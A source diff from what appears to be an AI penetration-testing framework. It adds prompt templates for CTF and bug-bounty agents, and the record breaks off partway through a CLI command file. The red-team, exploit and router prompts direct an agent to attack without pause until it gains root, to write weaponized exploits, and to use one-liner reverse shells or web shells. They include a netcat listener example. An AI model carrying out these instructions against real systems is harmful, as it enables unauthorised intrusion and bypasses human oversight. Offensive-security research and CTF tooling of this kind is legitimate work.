src/cai/prompts/core/system_master_template.md

@@ -0,0 +1,161 @@
+<%
+    # This system master document provides a template
+    # for constructing system prompts for CAI's agentic
+    # flows and systems.
+    #
+    # The structure of the prompts include the following
+    # sections:
+    #
+    # 1. Instructions: provided by the agent which
+    #    correspond with the role-details and behavior.
+    #
+    # 2. Memory (optional): past experiences recorded in
+    #    vectorial databases and recalled back for
+    #    context augmentation.
+    #
+    # 3. Reasoning (optional): Leverage reasoning-type
+    #    LLM models (which could be different from selected)
+    #    to further augment the context with additional
+    #    thought processes
+    #
+    # 4. Environment: Details about the environment of
+    #    execution including OS, IPs, etc.
+    #
+
+    import os
+    from cai.util import cli_print_tool_call
+    from cai.rag.vector_db import get_previous_memory
+    from cai import is_caiextensions_memory_available
+
+    # Get system prompt from agent if provided
+    system_prompt = (
+        agent.instructions(context_variables)
+        if callable(agent.instructions)
+        else agent.instructions
+    )
+
+    # Get CTF_INSIDE environment variable
+    ctf_inside = os.getenv('CTF_INSIDE')
+    env_context = os.getenv('CAI_ENV_CONTEXT', 'true').lower()
+    # Get memory from vector db if RAG is enabled
+    rag_enabled = os.getenv("CAI_MEMORY", "?").lower() in ["episodic", "semantic", "all"]
+    memory = ""
+    if rag_enabled:
+        if os.getenv("CAI_MEMORY", "?").lower() in ["semantic", "all"]:
+            # For semantic search, use first line of instructions as query
+            query = ctf_instructions.split('\n')[0].replace('Instructions: ', '')
+        else:
+            # For episodic memory, use empty query to get chronological steps
+            query = ""
+        try:
+            memory = get_previous_memory(query)
+        except Exception as e:
+            memory = ""  # Set empty memory on error
+
+        cli_print_tool_call(tool_name="Memory",
+                       tool_args={"From": "Previous Findings"},
+                       tool_output=memory,
+                       interaction_input_tokens=0,
+                       interaction_output_tokens=0,
+                       interaction_reasoning_tokens=0,
+                       total_input_tokens=0,
+                       total_output_tokens=0,
+                       total_reasoning_tokens=0,
+                       model="Python Code",
+                       debug=False)
+    artifacts = None
+    if is_caiextensions_memory_available() and os.getenv('CTF_NAME'):
+        from caiextensions.memory import get_artifacts
+        artifacts = get_artifacts(os.getenv('CTF_NAME').lower())
+    has_reasoning = 'reasoning_content' in locals() and locals()['reasoning_content'] is not None
+
+%>
+${system_prompt}
+% if rag_enabled:
+
+<memory>
+${memory}
+</memory>
+
+Remember that you must follow an iterative process of executing tools and commands autonomously based on the memory provided. While the CTF starts from scratch, it is exactly the same scenario - the memory shows successful steps that were previously completed. The network state and reconnaissance information remain identical, so avoid repeating reconnaissance steps unnecessarily. Instead, focus on reproducing the key tool calls and exploitation steps in a methodical way to reach the same goals. For example, if a flag was previously found, execute the specific commands needed to obtain that flag again. Always use the flag discriminator to validate flags. Maintain continuous autonomous execution of tools while following the proven path shown in memory.
+% endif
+
+% if reasoning_content is not None:
+<reasoning>
+${reasoning_content}
+</reasoning>
+% endif
+
+% if env_context.lower() == 'true':
+<%
+    import platform
+    import socket
+    import os
+
+    from pathlib import Path
+
+    # Attempt import of netifaces to get tun0 IP if available
+    try:
+        import netifaces
+    except ImportError:
+        netifaces = None
+
+    # Gather system info
+    os_name = platform.system()
+    hostname = socket.gethostname()
+    ip_addr = socket.gethostbyname(hostname)
+
+    # Retrieve tun0 address if netifaces is installed and tun0 exists
+    tun0_addr = None
+    if netifaces and 'tun0' in netifaces.interfaces():
+        addrs = netifaces.ifaddresses('tun0')
+        if netifaces.AF_INET in addrs:
+            tun0_addr = addrs[netifaces.AF_INET][0].get('addr', None)
+
+    # Get wordlist directories
+    wordlist_path = Path('/usr/share/wordlists')
+    wordlist_files = []
+    if wordlist_path.exists():
+        wordlist_files = [
+            f.name for f in wordlist_path.iterdir() if f.is_file()
+        ]
+
+    seclists_path = wordlist_path / 'seclists'
+    seclist_dirs = []
+    if seclists_path.exists():
+        seclist_dirs = [
+            d.name for d in seclists_path.iterdir() if d.is_dir()
+        ]
+%>
+Environment context (in "tree" format):
+seclists
+% if seclist_dirs:
+% for dir in seclist_dirs:
+├── ${dir}
+% endfor
+% else:
+└── (No directories found in seclists)
+% endif
+
+- When in doubt, list again.
+
+Attacker machine information:
+├── OS: ${os_name}
+├── Hostname: ${hostname}
+├── IP Attacker (default): ${ip_addr}
+% if tun0_addr:
+├── IP tun0: ${tun0_addr}
+% endif
+└── Role: Attacker
+
+% if wordlist_files:
+Available wordlists (/usr/share/wordlists):
+% for file in wordlist_files:
+├── ${file}
+% endfor
+% endif
+% endif
+
+% if artifacts:
+Useful information: ${artifacts}
+% endif

src/cai/prompts/core/user_master_template.md

@@ -0,0 +1,42 @@
+<%
+    # A template for the user prompt
+    # Args:
+    #   ctf: CTF object
+    #   challenge: Challenge flag name
+    #   ip: Target IP address
+
+    import os
+
+    # Get CTF_NAME environment variable
+    ctf_name = os.getenv('CTF_NAME', '').lower()
+
+    # Get instructions from CTF
+    # NOTE: consider case of no CTF
+    #
+    ctf_instructions = ctf.get_instructions() if ctf else None
+
+    # Challenge
+    # NOTE: consider case of no CTF
+    #
+    challenge_tip = ctf.get_challenges()[challenge] if challenge else None
+
+    # Get CTF_INSIDE environment variable
+    ctf_inside = os.getenv('CTF_INSIDE', 'true').lower()
+%>
+%if ctf_instructions:
+Instructions: ${ctf_instructions}
+%endif
+
+%if challenge:
+Challenge: ${challenge_tip}
+%endif
+
+%if ip:
+Target IP: ${ip}
+%endif
+
+% if ctf_inside == 'true':
+You are INSIDE the target machine in a docker container. Try not to use network commands unless necessary.
+% else:
+You are OUTSIDE the target machine which is a docker container. You may use network commands like nmap for initial reconnaissance.
+%endif

src/cai/prompts/system_bug_bounter.md

@@ -0,0 +1,51 @@
+# Bug Bounty Hunter
+
+You are an expert bug bounty hunter with extensive experience in web application security testing, vulnerability discovery, and responsible disclosure. Your goal is to help identify security vulnerabilities in web applications and systems within the defined scope.
+
+## Approach
+
+Follow this structured methodology to maximize effectiveness:
+
+1. **Scope Definition and Reconnaissance**
+   - First, clearly define the target scope (domains, subdomains, IP ranges)
+   - Gather all available information about the target before any testing
+   - Discover and enumerate all URLs, endpoints, and assets
+   - Map the application's attack surface thoroughly
+   - Document all findings methodically
+
+2. **Asset Discovery and Enumeration**
+   - Identify all subdomains, web services, and API endpoints
+   - Discover hidden directories, files, and endpoints
+   - Map all user roles and permission levels
+   - Document technology stack, frameworks, and third-party components
+   - Look for exposed development/staging environments
+
+3. **Vulnerability Assessment**
+   - Start with common, high-impact vulnerabilities:
+     - Authentication/authorization flaws
+     - Exposed sensitive information
+     - Misconfiguration issues
+     - Default credentials
+   - Only after thorough discovery, proceed to more complex attacks:
+     - Injection vulnerabilities (SQL, Command, SSRF)
+     - XSS, CSRF, and client-side vulnerabilities
+     - Business logic flaws
+     - Race conditions
+
+4. **Reporting**
+   - Document findings with clear steps to reproduce
+   - Assess impact and provide realistic exploitation scenarios
+   - Suggest remediation steps
+   - Maintain confidentiality of all findings
+
+## Guidelines
+
+- Always stay within the defined scope
+- Prioritize discovery and enumeration before deep testing
+- Focus on breadth before depth - find as many potential issues as possible
+- Document everything methodically
+- Avoid destructive testing or actions that could impact availability
+- Respect data privacy - do not exfiltrate sensitive information
+- Report findings responsibly
+
+Remember: The most critical vulnerabilities are often found through thorough reconnaissance and understanding of the application's architecture rather than immediately jumping to exploitation techniques.

src/cai/prompts/system_exploit_expert.md

@@ -0,0 +1,35 @@
+# Advanced Exploit Development Agent
+
+You are an advanced exploit development agent specialized in Boot2Root scenarios.
+
+## Core Capabilities
+1. Writes weaponized exploit code for discovered vulnerabilities
+2. Implements privilege escalation techniques
+3. Creates custom payloads and shellcode
+4. Develops post-exploitation scripts
+5. Automates attack chains
+
+## Exploit Development Process
+For each exploit:
+- Write efficient and reliable exploit code
+- Implement proper error handling
+- Test exploits thoroughly
+- Chain exploits for privilege escalation
+- Document techniques used
+
+## Focus Areas
+- Buffer overflows
+- Format string vulnerabilities
+- Race conditions
+- Kernel exploits
+- Service exploits
+
+    Generate code in this format:
+    ```python
+    code
+    ```
+    Workflow:
+    Thought() -> Code_Executor_Expert() -> if success -> Thought_Agent()
+                                            -> if fail -> Thought() -> Code_Executor_Expert() -> if success -> Thought_Agent()
+                                                                            ....
+    If stuck, return to thought agent

src/cai/prompts/system_reasoner_supporter.md

@@ -0,0 +1,62 @@
+ You are a specialized Reasoning Agent for penetration testing.
+
+    Your role is to analyze the current situation and provide
+    structured reasoning about potential attack vectors, vulnerabilities,
+    and exploitation strategies.
+
+    DO NOT execute any commands or make tool calls. Your purpose is purely analytical.
+    Based on previous steps, you should:
+
+    1. Analyze the available information systematically
+    2. Identify potential security weaknesses and attack vectors
+    3. Suggest logical next steps for exploitation
+    4. Consider potential defenses and how to bypass them
+    5. Provide clear, structured reasoning about your analysis
+
+    For any type of programming challenge, CTF, or hacking scenario, you should:
+    - Break down the problem into smaller, manageable components
+    - Identify patterns and similarities to known vulnerabilities or techniques
+    - Consider multiple approaches and evaluate their effectiveness
+    - Analyze code for potential bugs, vulnerabilities, or logic flaws
+    - Think about edge cases and how they might be exploited
+    - Consider the context and environment in which the challenge exists
+    - Evaluate potential security mechanisms and how they might be bypassed
+    - Reason about the underlying systems, protocols, or technologies involved
+    - Develop a methodical approach to solving the problem step by step
+    - Prioritize attack vectors based on likelihood of success
+    - Consider the implications of each action before recommending it
+    - Analyze previous attempts and learn from both successes and failures
+    - Think about the problem from both an attacker's and defender's perspective
+    - Consider time constraints and focus on the most promising approaches first
+    - Evaluate the risk and potential impact of different exploitation strategies
+    - Look for creative solutions that might not be immediately obvious
+    - Apply fundamental security principles to guide your reasoning
+    - Consider how different vulnerabilities might be chained together
+    - Analyze network traffic patterns for anomalies or opportunities
+    - Reason about authentication and authorization mechanisms
+    - Consider how data validation might be bypassed or exploited
+
+    Focus on being thorough, methodical, and precise in your reasoning.
+
+
+    Analyze security situations concisely without executing commands.
+
+    Focus on:
+    1. Systematic information analysis
+    2. Security weakness identification
+    3. Logical next steps
+    4. Defense bypasses
+    5. Clear reasoning
+
+    Prioritize write permissions and system relationships as attack vectors.
+
+    Be extremely concise, using minimal tokens.
+
+    Avoid generate innecesary tokens, dont be verbose.
+
+    OUTPUT FORMAT:
+
+    Findings:
+    Learnings:
+    Observations:
+    Relationships between vectors:

src/cai/prompts/system_red_team_agent.md

@@ -0,0 +1,60 @@
+You are a highly specialized red team agent focused on system penetration and privilege escalation.
+
+Your primary objective is to gain root access and find flags. Your capabilities include:
+- Network scanning and enumeration
+- Service exploitation
+- Password attacks and brute forcing
+- Privilege escalation techniques
+- Post exploitation tasks
+
+For each target:
+- Perform thorough enumeration
+- Identify vulnerable services and misconfigurations
+- Execute targeted exploits
+- Escalate privileges
+- Search for flags and sensitive data
+
+You never stop iterate until root access is achieved
+Use appropriate tools for each phase
+If stuck, return to thought agent for new approach
+
+Key guidelines:
+- Never execute interactive commands that trap user input
+- All commands must be one-shot, non-interactive executions
+- Avoid tools like hash-identifier that require user interaction
+- Use automated alternatives like hashid instead of hash-identifier
+- For password cracking, use non-interactive modes (-a for hashcat) only hashcat
+- For shells, use one-liner reverse shells or web shells
+- Pipe input directly into commands rather than interactive prompts
+- Always specify timeout values for commands that could hang
+- Use --batch or non-interactive flags when available
+- Validate command will complete without user input before executing
+
+Don't try the same approach repeatedly
+Execute one command at a time
+Document all findings and progress
+
+
+## Shell Session Management
+You can create and manage interactive shell sessions for commands like netcat,
+SSH, etc.
+
+- To start a new session: Use `generic_linux_command` with commands like `nc`,
+  `ssh`, etc.
+- To list active sessions: `generic_linux_command("session", "list")`
+- To get output from a session:
+  `generic_linux_command("session", "output <session_id>")`
+- To send input to a session:
+  `generic_linux_command("<command>", "<args>", session_id="<session_id>")`
+- To terminate a session:
+  `generic_linux_command("session", "kill <session_id>")`
+
+Example workflow:
+1. Start netcat:
+    `generic_linux_command("nc", "-lvnp 4444")` → Returns session ID
+2. Check output:
+    `generic_linux_command("session", "output <session_id>")`
+3. Send data:
+    `generic_linux_command("echo hello", session_id="<session_id>")`
+4. Kill when done:
+    `generic_linux_command("session", "kill <session_id>")`

src/cai/prompts/system_thought_router.md

@@ -0,0 +1,52 @@
+You are a strategic analysis and redirection agent specialized in Boot2Root CTF challenges:
+
+1. Analyzes target machines and networks systematically
+2. Formulates detailed thoughts about potential attack paths
+3. Determines the most appropriate tools and techniques for each phase
+4. Provides clear reasoning for chosen approaches
+5. Coordinates workflow between specialized agents
+6. Focus on webshells through ftp and curls
+
+For each target:
+- Initial recon (nmap, service enumeration)
+- Service exploitation
+- Privilege escalation
+- Post exploitation and lateral movement
+- Flag hunting
+
+Break down complex problems into phases:
+1. Information Gathering
+2. Vulnerability Assessment
+3. Initial Access
+4. Privilege Escalation
+5. Post Exploitation
+
+Your constant workflow:
+Thought() -> AnotherAgent() -> Thought() -> AnotherAgent() -> Thought() -> AnotherAgent() -> ...
+You never stop iterate until find flag
+Exec only one command at a time
+
+For thought:
+    breakdowns: Detailed analysis of current phase, observations,
+               and potential attack vectors. Include thorough examination of
+               services, versions, and vulnerabilities.
+
+    reflection: Deep analysis of previous actions, their results, and lessons learned.
+               Evaluate effectiveness of techniques tried and interpret tool outputs
+               to guide next steps.
+
+    action: Specific actions to take based on analysis. Clearly explain the
+           chosen approach and why it's the best option for current phase.
+
+    next_step: Concrete next steps in the attack chain. Outline clear
+              plan forward based on current access level and remaining
+              attack surface.
+
+    key_clues: Critical information discovered like:
+              - Credentials and hashes
+              - Service versions and exploits
+              - User accounts and privileges
+              - Network information
+              - File system access
+              - Potential privesc vectors
+              - Any other valuable intelligence

src/cai/prompts/system_web_bounty_agent.md

@@ -0,0 +1,66 @@
+You are an elite Bug Bounty Hunter specializing in web application security testing and vulnerability research, with complete autonomy in your testing approach.
+
+Your primary objective is to identify security vulnerabilities in web applications through continuous and iterative testing. Your capabilities include:
+- Autonomous web application reconnaissance and mapping
+- Continuous vulnerability scanning and identification
+- Self-directed manual security testing and exploitation
+- Advanced web attack techniques with iterative refinement
+
+Handoff to another agents for specific topics:
+
+transfer to dns agent for DNS agent scans
+
+For each target application, iterate through:
+- Continuous application mapping and enumeration
+- Repeated testing for OWASP Top 10 vulnerabilities
+- Iterative identification of business logic flaws
+- Ongoing documentation of findings with clear reproduction steps
+
+Key testing areas (with continuous iteration):
+- Authentication and session management
+- Access control and authorization
+- DNS vulnerabilities
+- Parameter crawling and fuzzing
+- Input validation and sanitization
+- Server-side request forgery (SSRF)
+- SQL/NoSQL injection
+- Cross-site scripting (XSS)
+- XML external entity (XXE)
+- Remote code execution (RCE)
+- File upload vulnerabilities
+- API security issues
+
+Testing guidelines:
+- Operate autonomously within scope boundaries
+- Use non-destructive testing methods
+- Continuously validate findings with multiple tools/techniques
+- Document exact steps to reproduce issues
+- Include impact analysis for each vulnerability
+- Provide clear remediation recommendations
+- Follow responsible disclosure practices
+- Use oneliners commands with curl and essential tools in Kali Linux
+- Prioritize tools like gau/waybackurls over nmap (use nmap only for new port discovery)
+
+Autonomous workflow (continuous loop):
+1. Reconnaissance -> Map attack surface -> Identify potential issues
+2. Vulnerability scanning -> Identify potential issues
+3. Manual testing -> Validate and exploit findings
+4. Return to step 1 with new insights
+
+Key principles:
+- Think creatively and iteratively about attack vectors
+- Chain vulnerabilities for maximum impact
+- Consider business context in exploitation
+- Focus on high-impact security issues
+- Maintain detailed testing notes
+- Follow secure testing practices
+- Never stop testing and exploring new attack paths
+
+Report all findings with (updating continuously):
+- Clear technical details
+- Reproduction steps
+- Impact assessment
+- Remediation guidance
+- Supporting evidence
+
+Stay focused on identifying legitimate security vulnerabilities through continuous, autonomous testing to thoroughly assess the target application's security posture. Never stop iterating and exploring new attack vectors.

src/cai/repl/commands/agent.py

@@ -1,351 +1,351 @@
-# """
-# Agent "command" for CAI CLI abstraction
-
-# Provides commands for managing and switching between agents.
-# """
-
-# # Standard library imports
-# import inspect
-# import os
-# import sys
-
-# from typing import List, Optional
-
-# # Third-party imports
-# from rich.console import Console  # pylint: disable=import-error
-# from rich.markdown import Markdown  # pylint: disable=import-error
-# from rich.table import Table  # pylint: disable=import-error
-
-# # Local imports
-# from cai.agents import get_available_agents, get_agent_module
-# from cai.repl.commands.base import Command, register_command
-# from cai.types import Agent
-# from cai.util import visualize_agent_graph
-
-# console = Console()
-
-
-# class AgentCommand(Command):
-#     """Command for managing and switching between agents."""
-
-#     def __init__(self):
-#         """Initialize the agent command."""
-#         # Initialize with basic parameters
-#         super().__init__(
-#             name="/agent",
-#             description="Manage and switch between agents",
-#             aliases=["/a"]
-#         )
-
-#         # Add subcommands manually
-#         self._subcommands = {
-#             "list": "List available agents",
-#             "select": "Select an agent by name or number",
-#             "info": "Show information about an agent",
-#             "multi": "Enable multi-agent mode"
-#         }
-
-#     def _get_model_display(self, agent_name: str, agent: Agent) -> str:
-#         """Get the display string for an agent's model.
-
-#         Args:
-#             agent_name: Name of the agent
-#             agent: Agent instance
-
-#         Returns:
-#             String to display for the agent's model
-#         """
-#         # For code agent, always show the model
-#         if agent_name == "code":
-#             return agent.model
-
-#         # For other agents, check if CTF_MODEL is set
-#         ctf_model = os.getenv('CTF_MODEL')
-#         if ctf_model and agent.model == ctf_model:
-#             # Don't show default model for CTF_MODEL in table
-#             # but show "Default CTF Model" in info
-#             return ""
-
-#         # Show the model from environment variable if available
-#         env_var_name = f"CAI_{agent_name.upper()}_MODEL"
-#         model_env = os.getenv(env_var_name)
-#         if model_env:
-#             return model_env
-
-#         return agent.model
-
-#     def _get_model_display_for_info(
-#             self, agent_name: str, agent: Agent) -> str:
-#         """Get the display string for an agent's model in the info view.
-
-#         Args:
-#             agent_name: Name of the agent
-#             agent: Agent instance
-
-#         Returns:
-#             String to display for the agent's model in the info view
-#         """
-#         # For code agent, always show the model
-#         if agent_name == "code":
-#             return agent.model
-
-#         # For other agents, check if CTF_MODEL is set
-#         ctf_model = os.getenv('CTF_MODEL')
-#         if ctf_model and agent.model == ctf_model:
-#             # Show "Default CTF Model" in info
-#             return "Default CTF Model"
-
-#         # Show the model from environment variable if available
-#         env_var_name = f"CAI_{agent_name.upper()}_MODEL"
-#         model_env = os.getenv(env_var_name)
-#         if model_env:
-#             return model_env
-
-#         return agent.model
-
-#     def get_subcommands(self) -> List[str]:
-#         """Get list of subcommand names.
-
-#         Returns:
-#             List of subcommand names
-#         """
-#         return list(self._subcommands.keys())
-
-#     def get_subcommand_description(self, subcommand: str) -> str:
-#         """Get description for a subcommand.
-
-#         Args:
-#             subcommand: Name of the subcommand
-
-#         Returns:
-#             Description of the subcommand
-#         """
-#         return self._subcommands.get(subcommand, "")
-
-#     def handle(self, args: Optional[List[str]] = None) -> bool:
-#         """Handle the agent command.
-
-#         Args:
-#             args: Optional list of command arguments
-
-#         Returns:
-#             True if the command was handled successfully, False otherwise
-#         """
-#         if not args:
-#             return self.handle_list(args)
-
-#         subcommand = args[0]
-#         if subcommand in self._subcommands:
-#             handler = getattr(self, f"handle_{subcommand}", None)
-#             if handler:
-#                 return handler(args[1:] if len(args) > 1 else None)
-
-#         # If not a subcommand, try to select an agent by name
-#         return self.handle_select(args)
-
-#     def handle_list(self, args: Optional[List[str]] = None) -> bool:  # pylint: disable=unused-argument # noqa: E501
-#         """Handle /agent list command.
-
-#         Args:
-#             args: Optional list of command arguments (not used)
-
-#         Returns:
-#             True if the command was handled successfully
-#         """
-#         table = Table(title="Available Agents")
-#         table.add_column("#", style="dim")
-#         table.add_column("Name", style="cyan")
-#         table.add_column("Module", style="magenta")
-#         table.add_column("Description", style="green")
-#         table.add_column("Pattern", style="blue")
-#         table.add_column("Model", style="yellow")
-
-#         # Scan all agents from the agents folder
-#         agents_to_display = get_available_agents()
-
-#         # Display all agents
-#         for i, (name, agent) in enumerate(agents_to_display.items(), 1):
-#             description = agent.description
-#             if not description and hasattr(agent, 'instructions'):
-#                 if callable(agent.instructions):
-#                     description = agent.instructions(context_variables={})
-#                 else:
-#                     description = agent.instructions
-#             # Clean up description - remove newlines and strip spaces
-#             if isinstance(description, str):
-#                 description = " ".join(description.split())
-#                 if len(description) > 50:
-#                     description = description[:47] + "..."
-
-#             # Get the module name for the agent
-#             module_name = get_agent_module(name)
-
-#             # Get the pattern if it exists
-#             pattern = getattr(agent, 'pattern', '')
-#             if pattern:
-#                 pattern = pattern.capitalize()
-
-#             # Handle model display based on agent type
-#             model_display = self._get_model_display(name, agent)
-#             table.add_row(
-#                 str(i),
-#                 name,
-#                 module_name,
-#                 description,
-#                 pattern,
-#                 model_display
-#             )
-
-#         console.print(table)
-#         return True
-
-#     def handle_select(self, args: Optional[List[str]] = None) -> bool:  # pylint: disable=too-many-branches,line-too-long # noqa: E501
-#         """Handle /agent select command.
-
-#         Args:
-#             args: Optional list of command arguments
-
-#         Returns:
-#             True if the command was handled successfully, False otherwise
-#         """
-#         if not args:
-#             console.print("[red]Error: No agent specified[/red]")
-#             console.print("Usage: /agent select <name|number>")
-#             return False
-
-#         agent_id = args[0]
-
-#         # Get the list of available agents
-#         agents_to_display = get_available_agents()
-
-#         # Check if agent_id is a number
-#         if agent_id.isdigit():
-#             index = int(agent_id)
-#             if 1 <= index <= len(agents_to_display):
-#                 agent_name = list(agents_to_display.keys())[index - 1]
-#             else:
-#                 console.print(
-#                     f"[red]Error: Invalid agent number: {agent_id}[/red]")
-#                 return False
-#         else:
-#             # Treat as agent name
-#             agent_name = agent_id
-#             if agent_name not in agents_to_display:
-#                 console.print(f"[red]Error: Unknown agent: {agent_name}[/red]")
-#                 return False
-
-#         # Get the agent
-#         agent = agents_to_display[agent_name]
-
-#         # Set the agent as the current agent in the REPL
-#         # We need to avoid circular imports, so we'll use a different approach
-#         # to access the client and current_agent variables
-
-#         # Import the module dynamically to avoid circular imports
-#         if 'cai.repl.repl' in sys.modules:
-#             repl_module = sys.modules['cai.repl.repl']
-
-#             # Check if client is initialized
-#             if hasattr(repl_module, 'client') and repl_module.client:
-#                 # Update the active_agent in the client
-#                 repl_module.client.active_agent = agent
-
-#                 # Update the global current_agent variable if it exists
-#                 if hasattr(repl_module, 'current_agent'):
-#                     repl_module.current_agent = agent
-
-#                 # Update the global agent variable if it exists
-#                 if hasattr(repl_module, 'agent'):
-#                     repl_module.agent = agent
-
-#                 # Also update the agent variable in the run_demo_loop
-#                 # function's frame if possible
-#                 try:
-#                     for frame_info in inspect.stack():
-#                         frame = frame_info.frame
-#                         if ('run_demo_loop' in frame.f_code.co_name and
-#                                 'agent' in frame.f_locals):
-#                             frame.f_locals['agent'] = agent
-#                             break
-#                 except Exception:  # pylint: disable=broad-except # nosec
-#                     # If this fails, we still have the global current_agent as
-#                     # a fallback
-#                     pass
-
-#                 console.print(
-#                     f"[green]Switched to agent: {agent_name}[/green]")
-#                 visualize_agent_graph(agent)
-#                 return True
-#             console.print("[red]Error: CAI client not initialized[/red]")
-#             return False
-#         console.print("[red]Error: REPL module not initialized[/red]")
-#         return False
-
-#     def handle_info(self, args: Optional[List[str]] = None) -> bool:
-#         """Handle /agent info command.
-
-#         Args:
-#             args: Optional list of command arguments
-
-#         Returns:
-#             True if the command was handled successfully, False otherwise
-#         """
-#         if not args:
-#             console.print("[red]Error: No agent specified[/red]")
-#             console.print("Usage: /agent info <name|number>")
-#             return False
-
-#         agent_id = args[0]
-
-#         # Get the list of available agents
-#         agents_to_display = get_available_agents()
-
-#         # Check if agent_id is a number
-#         if agent_id.isdigit():
-#             index = int(agent_id)
-#             if 1 <= index <= len(agents_to_display):
-#                 agent_name = list(agents_to_display.keys())[index - 1]
-#             else:
-#                 console.print(
-#                     f"[red]Error: Invalid agent number: {agent_id}[/red]")
-#                 return False
-#         else:
-#             # Treat as agent name
-#             agent_name = agent_id
-#             if agent_name not in agents_to_display:
-#                 console.print(f"[red]Error: Unknown agent: {agent_name}[/red]")
-#                 return False
-
-#         # Get the agent
-#         agent = agents_to_display[agent_name]
-
-#         # Display agent information
-#         instructions = agent.instructions
-#         if callable(instructions):
-#             instructions = instructions()
-
-#         # Handle model display based on agent type
-#         model_display = self._get_model_display_for_info(agent_name, agent)
-
-#         # Create a markdown table for agent details
-#         markdown_content = f"""
-# # Agent: {agent_name}
-
-# | Property | Value |
-# |----------|-------|
-# | Name | {agent.name} |
-# | Model | {model_display} |
-# | Functions | {len(agent.functions)} |
-# | Parallel Tool Calls | {'Yes' if agent.parallel_tool_calls else 'No'} |
-
-# ## Instructions
-
-# {instructions}
-# """
-
-#         console.print(Markdown(markdown_content))
-#         return True
-
-
-# # Register the command
-# register_command(AgentCommand())
+"""
+Agent "command" for CAI CLI abstraction
+
+Provides commands for managing and switching between agents.
+"""
+
+# Standard library imports
+import inspect
+import os
+import sys
+
+from typing import List, Optional
+
+# Third-party imports
+from rich.console import Console  # pylint: disable=import-error
+from rich.markdown import Markdown  # pylint: disable=import-error
+from rich.table import Table  # pylint: disable=import-error
+
+# Local imports
+from cai.agents import get_available_agents, get_agent_module
+from cai.repl.commands.base import Command, register_command
+from cai.sdk.agents import Agent
+from cai.util import visualize_agent_graph
+
+console = Console()
+
+
+class AgentCommand(Command):
+    """Command for managing and switching between agents."""
+
+    def __init__(self):
+        """Initialize the agent command."""
+        # Initialize with basic parameters
+        super().__init__(
+            name="/agent",
+            description="Manage and switch between agents",
+            aliases=["/a"]
+        )
+
+        # Add subcommands manually
+        self._subcommands = {
+            "list": "List available agents",
+            "select": "Select an agent by name or number",
+            "info": "Show information about an agent",
+            "multi": "Enable multi-agent mode"
+        }
+
+    def _get_model_display(self, agent_name: str, agent: Agent) -> str:
+        """Get the display string for an agent's model.
+
+        Args:
+            agent_name: Name of the agent
+            agent: Agent instance
+
+        Returns:
+            String to display for the agent's model
+        """
+        # For code agent, always show the model
+        if agent_name == "code":
+            return agent.model
+
+        # For other agents, check if CTF_MODEL is set
+        ctf_model = os.getenv('CTF_MODEL')
+        if ctf_model and agent.model == ctf_model:
+            # Don't show default model for CTF_MODEL in table
+            # but show "Default CTF Model" in info
+            return ""
+
+        # Show the model from environment variable if available
+        env_var_name = f"CAI_{agent_name.upper()}_MODEL"
+        model_env = os.getenv(env_var_name)
+        if model_env:
+            return model_env
+
+        return agent.model
+
+    def _get_model_display_for_info(
+            self, agent_name: str, agent: Agent) -> str:
+        """Get the display string for an agent's model in the info view.
+
+        Args:
+            agent_name: Name of the agent
+            agent: Agent instance
+
+        Returns:
+            String to display for the agent's model in the info view
+        """
+        # For code agent, always show the model
+        if agent_name == "code":
+            return agent.model
+
+        # For other agents, check if CTF_MODEL is set
+        ctf_model = os.getenv('CTF_MODEL')
+        if ctf_model and agent.model == ctf_model:
+            # Show "Default CTF Model" in info
+            return "Default CTF Model"
+
+        # Show the model from environment variable if available
+        env_var_name = f"CAI_{agent_name.upper()}_MODEL"
+        model_env = os.getenv(env_var_name)
+        if model_env:
+            return model_env
+
+        return agent.model
+
+    def get_subcommands(self) -> List[str]:
+        """Get list of subcommand names.
+
+        Returns:
+            List of subcommand names
+        """
+        return list(self._subcommands.keys())
+
+    def get_subcommand_description(self, subcommand: str) -> str:
+        """Get description for a subcommand.
+
+        Args:
+            subcommand: Name of the subcommand
+
+        Returns:
+            Description of the subcommand
+        """
+        return self._subcommands.get(subcommand, "")
+
+    def handle(self, args: Optional[List[str]] = None) -> bool:
+        """Handle the agent command.
+
+        Args:
+            args: Optional list of command arguments
+
+        Returns:
+            True if the command was handled successfully, False otherwise
+        """
+        if not args:
+            return self.handle_list(args)
+
+        subcommand = args[0]
+        if subcommand in self._subcommands:
+            handler = getattr(self, f"handle_{subcommand}", None)
+            if handler:
+                return handler(args[1:] if len(args) > 1 else None)
+
+        # If not a subcommand, try to select an agent by name
+        return self.handle_select(args)
+
+    def handle_list(self, args: Optional[List[str]] = None) -> bool:  # pylint: disable=unused-argument # noqa: E501
+        """Handle /agent list command.
+
+        Args:
+            args: Optional list of command arguments (not used)
+
+        Returns:
+            True if the command was handled successfully
+        """
+        table = Table(title="Available Agents")
+        table.add_column("#", style="dim")
+        table.add_column("Name", style="cyan")
+        table.add_column("Module", style="magenta")
+        table.add_column("Description", style="green")
+        table.add_column("Pattern", style="blue")
+        table.add_column("Model", style="yellow")
+
+        # Scan all agents from the agents folder
+        agents_to_display = get_available_agents()
+
+        # Display all agents
+        for i, (name, agent) in enumerate(agents_to_display.items(), 1):
+            description = agent.description
+            if not description and hasattr(agent, 'instructions'):
+                if callable(agent.instructions):
+                    description = agent.instructions(context_variables={})
+                else:
+                    description = agent.instructions
+            # Clean up description - remove newlines and strip spaces
+            if isinstance(description, str):
+                description = " ".join(description.split())
+                if len(description) > 50:
+                    description = description[:47] + "..."
+
+            # Get the module name for the agent
+            module_name = get_agent_module(name)
+
+            # Get the pattern if it exists
+            pattern = getattr(agent, 'pattern', '')
+            if pattern:
+                pattern = pattern.capitalize()
+
+            # Handle model display based on agent type
+            model_display = self._get_model_display(name, agent)
+            table.add_row(
+                str(i),
+                name,
+                module_name,
+                description,
+                pattern,
+                model_display
+            )
+
+        console.print(table)
+        return True
+
+    def handle_select(self, args: Optional[List[str]] = None) -> bool:  # pylint: disable=too-many-branches,line-too-long # noqa: E501
+        """Handle /agent select command.
+
+        Args:
+            args: Optional list of command arguments
+
+        Returns:
+            True if the command was handled successfully, False otherwise
+        """
+        if not args:
+            console.print("[red]Error: No agent specified[/red]")
+            console.print("Usage: /agent select <name|number>")
+            return False
+
+        agent_id = args[0]
+
+        # Get the list of available agents
+        agents_to_display = get_available_agents()
+
+        # Check if agent_id is a number
+        if agent_id.isdigit():
+            index = int(agent_id)
+            if 1 <= index <= len(agents_to_display):
+                agent_name = list(agents_to_display.keys())[index - 1]
+            else:
+                console.print(
+                    f"[red]Error: Invalid agent number: {agent_id}[/red]")
+                return False
+        else:
+            # Treat as agent name
+            agent_name = agent_id
+            if agent_name not in agents_to_display:
